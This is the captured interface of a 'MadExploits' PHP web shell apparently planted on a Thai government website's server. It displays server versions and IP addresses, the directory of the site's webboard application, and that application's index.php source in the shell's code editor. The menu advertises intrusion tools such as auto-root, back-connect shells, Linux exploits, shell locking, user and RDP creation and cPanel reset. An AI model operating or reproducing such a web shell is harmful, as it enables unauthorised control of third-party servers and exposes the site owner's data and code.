Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 18.191.176.192
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
website2023 /
kokko.go.th /
webboard-kokko /
[ HOME SHELL ]
Name
Size
Permission
Action
admin
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
threads
[ DIR ]
drwxr-xr-x
dashboard.php
366
B
-rw-r--r--
hash_password.php
201
B
-rw-r--r--
index.php
5.65
KB
-rw-r--r--
login.php
1.97
KB
-rw-r--r--
logout.php
90
B
-rw-r--r--
register.php
5.35
KB
-rw-r--r--
test_password.php
304
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : index.php
<?php require 'config/database.php'; include 'includes/header.php'; // ตรวจสอบว่าผู้ใช้เข้าสู่ระบบหรือไม่ $is_logged_in = isset($_SESSION["user_id"]); $user_id = $_SESSION["user_id"] ?? 0; // ดึงข้อมูลของผู้ใช้ $stmt = $pdo->prepare("SELECT role, status, last_thread_at FROM users WHERE id = ?"); $stmt->execute([$user_id]); $user = $stmt->fetch(); // ดึงข้อมูลกระทู้ทั้งหมด + จำนวนความคิดเห็น $stmt = $pdo->query(" SELECT threads.*, users.name, (SELECT COUNT(*) FROM replies WHERE replies.thread_id = threads.id) AS reply_count FROM threads JOIN users ON threads.user_id = users.id ORDER BY is_pinned DESC, created_at DESC "); $threads = $stmt->fetchAll(); ?> <img src="https://kokko.go.th/wp-content/uploads/2023/02/Artboard-2-1536x536.png" style=" width: 100%; "> <br> <div class="container mt-4"> <div class="d-flex justify-content-between align-items-center"> <h3 class="fw-bold">📌 กระทู้ทั้งหมด</h3> <!-- ✅ แสดงปุ่มตั้งกระทู้แม้ว่าจะไม่มีข้อมูลกระทู้ --> <?php if (!$is_logged_in): ?> <a href="login.php" class="btn btn-primary btn-lg shadow-sm"> 🔑 กรุณาเข้าสู่ระบบ </a> <?php elseif ($user["status"] == "banned"): ?> <button class="btn btn-secondary btn-lg shadow-sm" disabled> ⛔ ตั้งกระทู้ใหม่ (คุณถูกแบน) </button> <?php else: ?> <?php // ตรวจสอบว่าตั้งกระทู้ไปแล้วภายใน 24 ชั่วโมงหรือไม่ $can_create_thread = true; if ($user["role"] != "owner" && !empty($user["last_thread_at"])) { $last_thread_time = strtotime($user["last_thread_at"]); $one_day_ago = strtotime("-1 day"); if ($last_thread_time > $one_day_ago) { $can_create_thread = false; } } ?> <?php if ($can_create_thread): ?> <a href="threads/create.php" class="btn btn-success btn-lg shadow-sm"> ➕ ตั้งกระทู้ใหม่ </a> <?php else: ?> <button class="btn btn-secondary btn-lg shadow-sm" disabled> ⏳ ตั้งกระทู้ได้อีกครั้งในวันพรุ่งนี้ </button> <?php endif; ?> <?php endif; ?> </div> <hr> <!-- ✅ ตรวจสอบว่ามีกระทู้หรือไม่ --> <?php if (!empty($threads)): ?> <?php foreach ($threads as $thread): ?> <div class="card mb-3 shadow-sm border-0"> <div class="card-body"> <h5 class="card-title"> <a href="threads/view.php?id=<?= $thread['id'] ?>" class="text-primary fw-bold"> <?= htmlspecialchars($thread["title"]) ?> </a> </h5> <p class="card-text text-muted">รายละเอียด : <?= nl2br(htmlspecialchars($thread["content"])) ?></p> <div class="d-flex justify-content-between align-items-center"> <small class="text-muted"> 🧑💻 โดย <b><?= htmlspecialchars($thread["name"]) ?></b> เมื่อ <?= $thread["created_at"] ?> | 💬 <?= $thread["reply_count"] ?> ความคิดเห็น </small> <!-- ปุ่มแก้ไข, ลบ และปักหมุด --> <?php if ($is_logged_in && ($_SESSION["role"] == "owner" || $_SESSION["user_id"] == $thread["user_id"] || $_SESSION["role"] == "admin")): ?> <div> <?php if ($_SESSION["role"] == "owner"): ?> <?php if ($thread['is_pinned'] == 1): ?> <a href="threads/unpin.php?id=<?= $thread['id'] ?>" class="btn btn-outline-secondary btn-sm">❌ ยกเลิกปักหมุด</a> <?php else: ?> <a href="threads/pin.php?id=<?= $thread['id'] ?>" class="btn btn-outline-success btn-sm">📌 ปักหมุด</a> <?php endif; ?> <?php endif; ?> <a href="threads/edit.php?id=<?= $thread['id'] ?>" class="btn btn-outline-warning btn-sm">✏️ แก้ไข</a> <a href="threads/delete.php?id=<?= $thread['id'] ?>" class="btn btn-outline-danger btn-sm" onclick="return confirm('ลบกระทู้?')">🗑 ลบ</a> </div> <?php endif; ?> </div> </div> </div> <?php endforeach; ?> <?php else: ?> <p class="text-center text-danger fw-bold">❌ ไม่มีข้อมูลกระทู้</p> <?php endif; ?> </div> <?php include 'includes/footer.php'; ?>
Close